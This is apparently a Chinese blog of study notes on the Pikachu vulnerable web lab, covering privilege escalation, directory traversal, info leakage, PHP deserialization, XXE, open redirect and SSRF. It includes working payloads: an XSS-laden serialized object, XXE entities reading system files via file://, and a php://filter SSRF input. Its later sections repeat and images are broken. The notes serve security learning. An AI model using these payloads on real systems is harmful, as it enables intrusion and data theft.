[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a3q77ZGb-1683384727197)(media/307bf1737f99993ff18511283f094c69.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8oJyNV0m-1683384727197)(media/fd66b69dfdda844facac9795b82ed65a.jpeg)]

在这⾥将username改为lili,会发现查询的信息是lili的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XCeJ1NKR-1683384727197)(media/83007417b92d9dd56d1ffba29660cea7.jpeg)]

1.2 垂直越权

概念:A⽤户权限⾼于B⽤户,但是B⽤户可以越权操作A⽤户权限的情况为垂直越权。

垂直越权要抓到管理员的操作包,将其重放到bp,并且更改相应的cookie为普通⽤户的cookie,再次进⾏相同的操作,看是否会成功。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WxFvl4Si-1683384727197)(media/fbe2076d88c210319f9afede65e1e3ca.jpeg)]

抓到管理员的包,将管理员cookie改为普通⽤户的cookie。

在此重放发现,同样执⾏了与管理员相同的操作。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Nk5TBNn-1683384727198)(media/9e8c8c565cff0abf52dbefc061c99f80.jpeg)]

  1. 防范措施

因此,在在权限管理中应该遵守:

1.使⽤最⼩权限原则对⽤户进⾏赋权;

2.使⽤合理(严格)的权限校验规则;

3.使⽤后台登录态作为条件进⾏权限判断,别动不动就瞎⽤前端传进来的条件;

  1. …/…/…/(目录遍历)
    1. 漏洞介绍

在web功能设计中,很多时候我们会要将需要访问的⽂件定义成变量,从⽽让前端的功能便的更加灵活。当⽤户发起⼀个前端的请求时,便会将请求的这个⽂件的值(⽐如⽂件名称)传递到后台,后台再执⾏其对应的⽂件。

  1. 发生位置

web系统上⽂件下载功能

  1. 常见危害

让后台打开或者执⾏⼀些其他的⽂件,从⽽导致后台服务器上其他⽬录的⽂件结果被遍历出来。导致后台敏感信息(密码⽂件、源代码等)被下载。

  1. 形成原因

如果后台没有对前端传进来的值进⾏严格的安全考虑,则攻击者可能会通过“…/”这样的⼿段让后台打开或者执⾏⼀些其他的⽂件。从⽽导致后台服务器上其他⽬录的⽂件结果被遍历出来,形成⽬录遍历漏洞。

看到这⾥,你可能会觉得⽬录遍历漏洞和不安全的⽂件下载,甚⾄⽂件包含漏洞有差不多的意思,是的,⽬录遍历漏洞形成的最主要的原因跟这两者⼀样,都是在功能设计中将要操作的⽂件使⽤变量的⽅式传递给了后台,⽽⼜没有进⾏严格的安全考虑⽽造成的,只是出现的位置所展现的现象不⼀样,因此,这⾥还是单独拿出来定义⼀下。

需要区分⼀下的是,如果你通过不带参数的url(⽐如:http://xxxx/doc)列出了doc⽂件夹⾥⾯所有的⽂件,这种情况,我们成为敏感信息泄露。⽽并不归为⽬录遍历漏洞。

  1. 代码分析
    1. 测试流程
    2. 漏洞分类及试验

例题:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hxIBvm2J-1683384727198)(media/e0f521e6a0048f87bdcdcc86a51de10e.jpeg)]

可以看到dir.php是⼀个在dir⽬录下的⽂件。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kfFTwq7T-1683384727198)(media/8cd874eb932f0986c668a37f29b64d16.jpeg)]

在这⾥我们直接对title的值进⾏修改,将传⼊的值改为上个路径下的dir.php⽂件,可以看到同样可以打开该⽂件。

所以我们就可以通过构造路径来访问

  1. 防范措施
  2. I can see your ABC(敏感信息泄露)
    1. 漏洞介绍

由于后台⼈员的疏忽或者不当的设计,导致不应该被前端⽤户看到的数据被轻易的访问到。 ⽐如:

—通过访问url下的⽬录,可以直接列出⽬录下的⽂件列表;

—输⼊错误的url参数后报错信息⾥⾯包含操作系统、中间件、开发语⾔的版本或其他信息;

—前端的源码(html,css,js)⾥⾯包含了敏感信息,⽐如后台登录地址、内⽹接⼝信息、甚⾄账号密码等;

  1. 发生位置
  2. 常见危害

—通过访问url下的⽬录,可以直接列出⽬录下的⽂件列表;

—输⼊错误的url参数后报错信息⾥⾯包含操作系统、中间件、开发语⾔的版本或其他信息;

—前端的源码(html,css,js)⾥⾯包含了敏感信息,⽐如后台登录地址、内⽹接⼝信息、甚⾄账号密码等;

  1. 形成原因

由于后台⼈员的疏忽或者不当的设计,导致不应该被前端⽤户看到的数据被轻易的访问到。

  1. 代码分析
    1. 测试流程
  2. 漏洞分类及试验

例题:

直接通过前端审计就的了⼀个⽤户密码

直接登录:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6ZdaiLci-1683384727198)(media/36bc0a08d44a79d7b160b22b2d53d433.jpeg)]

在查找敏感信息的时候可以通过查找,注释掉的代码。

eg:<!–>/* */等注释信息。

  1. 防范措施

敏感信息泄露虽然⼀直被评为危害⽐较低的漏洞,但这些敏感信息往往给攻击着实施进⼀步的攻击提供很⼤的帮助,甚⾄“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应⽤的开发上,除了要进⾏安全的代码编写,也需要注意对敏感信息的合理处理。

  1. PHP反序列化漏洞
    1. 漏洞介绍

序列化serialize()

序列化说通俗点就是把⼀个对象变成可以传输的字符串,⽐如下⾯是⼀个对象:

class S{

public $test=“pikachu”;

}

$s=new S();//创建⼀个对象

serialize($s);//把这个对象进⾏序列化

序列化后得到的结果是这个样⼦的:O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}

O:代表object

1:代表对象名字长度为⼀个字符

S:对象的名称

1:代表对象⾥⾯有⼀个变量

s:数据类型

4:变量名称的长度

test:变量名称

s:数据类型

7:变量值的长度

pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使⽤。

$u=unserialize(“O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}”);

echo $u->test; //得到的结果为pikachu

序列化和反序列化本⾝没有问题,但是如果反序列化的内容是⽤户可以控制的,且后台不正当的使⽤了PHP中的魔法函数,就会导致安全问题

魔法⽅法:⼀旦类被创建就会⾃动调⽤。

类似于java中的构造⽅法。

常见的⼏个魔法函数:

__construct()当⼀个对象创建时被调⽤

__destruct()当⼀个对象销毁时被调⽤

__toString()当⼀个对象被当作⼀个字符串使⽤

__sleep()在对象在被序列化之前运⾏

__wakeup将在序列化之后⽴即被调⽤

  1. 发生位置
    1. 常见危害
    2. 形成原因

在将序列化后的类执⾏时,可能会调⽤相应的构造⽅法,通过这些构造⽅法,就会对反序列化的代码执⾏,造成⼀些不可预计的后果。

但是在实际情况中,我们往往需要构造多种payload,来测试出后台往往是使⽤哪种构造⽅法,并使⽤。

  1. 代码分析
    1. 测试流程
    2. 漏洞分类及试验

漏洞举例:

class S{

var $test =“pikachu”;

function __destruct(){

echo $this->test;

}

}

$s =$_GET[‘test’];

@$unser = unserialize($a);

payload:O:1:“S”:1:{s:4:“test”;s:29:“<script>alert(‘xss’)</script>”;}

这⾥在反序列化的时候,就会⽣成⼀个类,同时在类中的魔法⽅法(function_destruct就会执⾏,⽽执⾏的代码,就是我们传进去的代码,并且会通过echo返回给前端,此时该恶意代码就会被执⾏,从⽽造成危害)

例题:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z7uhiJyR-1683384727199)(media/acabd6e71c39256fd6f3275f748f0e1b.jpeg)]

通过该代码将class a序列化为

O:1:“s”:1:{s:4:“test”;s:30:“<script>alert(‘fxlh’)</script>”;}

然后将该序列化后的类传⼊后台,后台接受后就会将接受到的类进⾏反序列化,在后⾯接着使⽤。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-APXVOfR6-1683384727199)(media/d6f5a8b9b4871f4861470921dc1ec875.jpeg)]

  1. 防范措施
  2. XXE(XML External Entity attack)
    1. 漏洞介绍

XXE -"xml external entity injection"概述:

既"xml外部实体注⼊漏洞"。

概括⼀下就是"攻击者通过向服务器注⼊指定的xml实体内容,从⽽让服务器按照指定的配置进⾏执⾏,导致问题"

也就是说服务端接收和解析了来⾃⽤户端的xml数据,⽽⼜没有做严格的安全控制,从⽽导致xml外部实体注⼊。

现在很多语⾔⾥⾯对应的解析xml的函数默认是禁⽌解析外部实体内容的,从⽽也就直接避免了这个漏洞。

以PHP为例,在PHP⾥⾯解析xml⽤的是libxml,其在≥2.9.0的版本中,默认是禁⽌解析xml外部实体内容的。

xml

那么是什么是xml,以及如何利⽤xml的实体来构造payload进⾏攻击呢?

xml(可扩展的标记语⾔类似于json)

XML ⽆所不在。XML 是各种应⽤程序之间进⾏数据传输的最常⽤的⼯具,并且在信息存储和描述领域变得越来越流⾏。

XML 指可扩展标记语⾔(EXtensible Markup Language)

XML 是⼀种标记语⾔,很类似 HTML

XML 的设计宗旨是传输数据,⽽⾮显⽰数据

XML 标签没有被预定义。您需要⾃⾏定义标签。

XML 被设计为具有⾃我描述性。

XML 是 W3C 的推荐标准

XML 被设计⽤来结构化、存储以及传输信息。

可以⽤xml来存储数据(.xml后缀的⽂件),也可以⽤xml来传输数据,将我们要发送的数据以xml的格式放在请求当中,发送给服务器。就像⽤post请求发送数据⼀样,后端接受到数据后就可以解析读取。

XML⽂档结构包括XML声明,DTD⽂档类型定义,⽂档元素.

XML语法结构

其中.⽂档类型定义(DTD)可以是内部声明也可以引⽤外部DTD,如下所⽰

内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>

引⽤外部DTD格式:<!DOCTYPE 根元素 SYSTEM"⽂件名">

在DTD中进⾏实体声明时,将使⽤ENTITY关键词来声明,实体是⽤于定义引⽤普通⽂本或特殊字符的快捷⽅式的变量,实体可在内部或外部进⾏声明,如下所⽰

内部声明实体格式:<!ENTITY 实体名称 “实体的值”>

引⽤外部实体格式:<!ENTITY 实体名称 SYSTEMT “URL”>

DTD: Document Type Definition 即⽂档类型定义,⽤来为xml⽂档定义语法约束。

1.DTD内部声明

<!DOCUTYPE 根元素 [元素声明]>

2. DTD外部引⽤

<!DOCUTYPE 根元素 SYSTEM “外部DTD的URL”>

3.引⽤公共DTD

其中外部引⽤时重点关注的,

<?xml version = “1.0”?>

<!DOCTYPE ANY [

<!!ENTITY f SYSTEM “file:///etc/password”>

]>

<x>&f</x>

这段代码的意思是通过SYSTEM这个关键字来指定外部实体,⽤file协议来读取⽂件,然后吧这个⽂件的内容复制给f。将f放在这个标签⾥⾯,后⾯就可以通过读取标签⾥⾯的f来读取file协议读取的⽂件内容。

这就是读取本地的password的内容。

外部引⽤⽀持很多协议,像HTTP,ftp,file等

如果⼀个借⼝⽀持接收xml数据,且没有对xml数据做任何安全上的措施,就可以导致xxe。

在读取⽂件内容会执⾏,并返回给前端。

eg:

<?xml version = “1.0”?>

]>

&hacker

定义了⼀个变量hacker,只就是jjjjjj,

在正⽂中通过name这个属性,引⽤了hacker这个变量,前端就会返回hacker的值。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JTYk4rTm-1683384727199)(media/6e0c25ea5a68695ae9930987b12e5f23.jpeg)]

  1. 发生位置
    1. 常见危害
    2. 代码分析
    3. 测试流程
    4. 漏洞分类及试验

例题:

输⼊:

<?xml version = “1.0”?>

<!DOCTYPE ANY [

<!!ENTITY f SYSTEM “file:///etc/password”>

]>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vpUb9m4h-1683384727199)(media/664bfcfe5d34aacced421f15b6759013.jpeg)]

得到:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ouv2W1iG-1683384727200)(media/7d7cbe5c24007dda37452357b600f39e.jpeg)]

这样就通过file协议读取到了服务器本地的/etc/password的内容,并且返回给了前端。

  1. 防范措施
  2. 不安全的URL重定向
    1. 漏洞介绍

不安全的url跳转问题可能发⽣在⼀切执⾏了url地址跳转的地⽅。

如果后端采⽤了前端传进来的(可能是⽤户传参,或者之前预埋在前端页⾯的url地址)参数作为了跳转的⽬的地,⽽⼜没有做判断的话

就可能发⽣"跳错对象"的问题。

url跳转⽐较直接的危害是:

–>钓鱼,既攻击者使⽤漏洞⽅的域名(⽐如⼀个⽐较出名的公司域名往往会让⽤户放⼼的点击)做掩盖,⽽最终跳转的确实钓鱼⽹站

  1. 发生位置
    1. 常见危害
    2. 代码分析
    3. 测试流程
    4. 漏洞分类及试验
    5. 防范措施
  2. SSRF(Server-Side Request Forgery)
    1. 漏洞介绍

数据流:攻击者----->服务器---->⽬标地址

根据后台使⽤的函数的不同,对应的影响和利⽤⽅法⼜有不⼀样

PHP中下⾯函数的使⽤不当会导致SSRF:

file_get_contents()

fsockopen()

curl_exec()

这些函数可以通过⽹络协议访问⽬标服务器的资源,并且对资源进⾏处理。

如果⼀定要通过后台服务器远程去对⽤户指定(“或者预埋在前端的请求”)的地址进⾏资源请求,则请做好⽬标地址的过滤。

  1. 发生位置
    1. 常见危害
    2. 形成原因

其形成的原因⼤都是由于服务端提供了从其他服务器应⽤获取数据的功能,但⼜没有对⽬标地址做严格过滤与限制

导致攻击者可以传⼊任意的地址来让后端服务器对其发起请求,并返回对该⽬标地址请求的数据

  1. 代码分析
    1. 测试流程
    2. 漏洞分类及试验

1.1 ssrf(curl)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iRr3XwxZ-1683384727200)(media/5b67c7792cc4269928f37d1ecf7e502c.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LnNVtQes-1683384727200)(media/6e2c7f5386e54ad5b7435754200f073a.jpeg)]

可以看到在将URL后的⽹址改为www.baidu.com后,后台就会接受该URL并且利⽤curl_exec()这个函数进⾏请求,并且将请求后的结果返回给前端。

ssrf的问题是:前端传进来的url被后台使⽤curl_exec()进⾏了请求,然后将请求的结果⼜返回给了前端。除了http/https外,curl还⽀持⼀些其他的协议curl --version 可以查看其⽀持的协议,telnet

curl⽀持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP 1.2 ssrf(file_get_content)

通过传⼊:

php://filter/read=convert.base64-encode/resource=ssrf.php

得到了⽂件的源码

  1. 防范措施
    ker这个变量,前端就会返回hacker的值。

[外链图片转存中…(img-JTYk4rTm-1683384727199)]

  1. 发生位置
    1. 常见危害
    2. 代码分析
    3. 测试流程
    4. 漏洞分类及试验

例题:

输⼊:

<?xml version = “1.0”?>

<!DOCTYPE ANY [

<!!ENTITY f SYSTEM “file:///etc/password”>

]>

[外链图片转存中…(img-vpUb9m4h-1683384727199)]

得到:

[外链图片转存中…(img-Ouv2W1iG-1683384727200)]

这样就通过file协议读取到了服务器本地的/etc/password的内容,并且返回给了前端。

  1. 防范措施
  2. 不安全的URL重定向
    1. 漏洞介绍

不安全的url跳转问题可能发⽣在⼀切执⾏了url地址跳转的地⽅。

如果后端采⽤了前端传进来的(可能是⽤户传参,或者之前预埋在前端页⾯的url地址)参数作为了跳转的⽬的地,⽽⼜没有做判断的话

就可能发⽣"跳错对象"的问题。

url跳转⽐较直接的危害是:

–>钓鱼,既攻击者使⽤漏洞⽅的域名(⽐如⼀个⽐较出名的公司域名往往会让⽤户放⼼的点击)做掩盖,⽽最终跳转的确实钓鱼⽹站

  1. 发生位置
    1. 常见危害
    2. 代码分析
    3. 测试流程
    4. 漏洞分类及试验
    5. 防范措施
  2. SSRF(Server-Side Request Forgery)
    1. 漏洞介绍

数据流:攻击者----->服务器---->⽬标地址

根据后台使⽤的函数的不同,对应的影响和利⽤⽅法⼜有不⼀样

PHP中下⾯函数的使⽤不当会导致SSRF:

file_get_contents()

fsockopen()

curl_exec()

这些函数可以通过⽹络协议访问⽬标服务器的资源,并且对资源进⾏处理。

如果⼀定要通过后台服务器远程去对⽤户指定(“或者预埋在前端的请求”)的地址进⾏资源请求,则请做好⽬标地址的过滤。

  1. 发生位置
    1. 常见危害
    2. 形成原因

其形成的原因⼤都是由于服务端提供了从其他服务器应⽤获取数据的功能,但⼜没有对⽬标地址做严格过滤与限制

导致攻击者可以传⼊任意的地址来让后端服务器对其发起请求,并返回对该⽬标地址请求的数据

  1. 代码分析
    1. 测试流程
    2. 漏洞分类及试验

1.1 ssrf(curl)

[外链图片转存中…(img-iRr3XwxZ-1683384727200)]

[外链图片转存中…(img-LnNVtQes-1683384727200)]

可以看到在将URL后的⽹址改为www.baidu.com后,后台就会接受该URL并且利⽤curl_exec()这个函数进⾏请求,并且将请求后的结果返回给前端。

ssrf的问题是:前端传进来的url被后台使⽤curl_exec()进⾏了请求,然后将请求的结果⼜返回给了前端。除了http/https外,curl还⽀持⼀些其他的协议curl --version 可以查看其⽀持的协议,telnet

curl⽀持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP 1.2 ssrf(file_get_content)

通过传⼊:

php://filter/read=convert.base64-encode/resource=ssrf.php

得到了⽂件的源码

  1. 防范措施
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值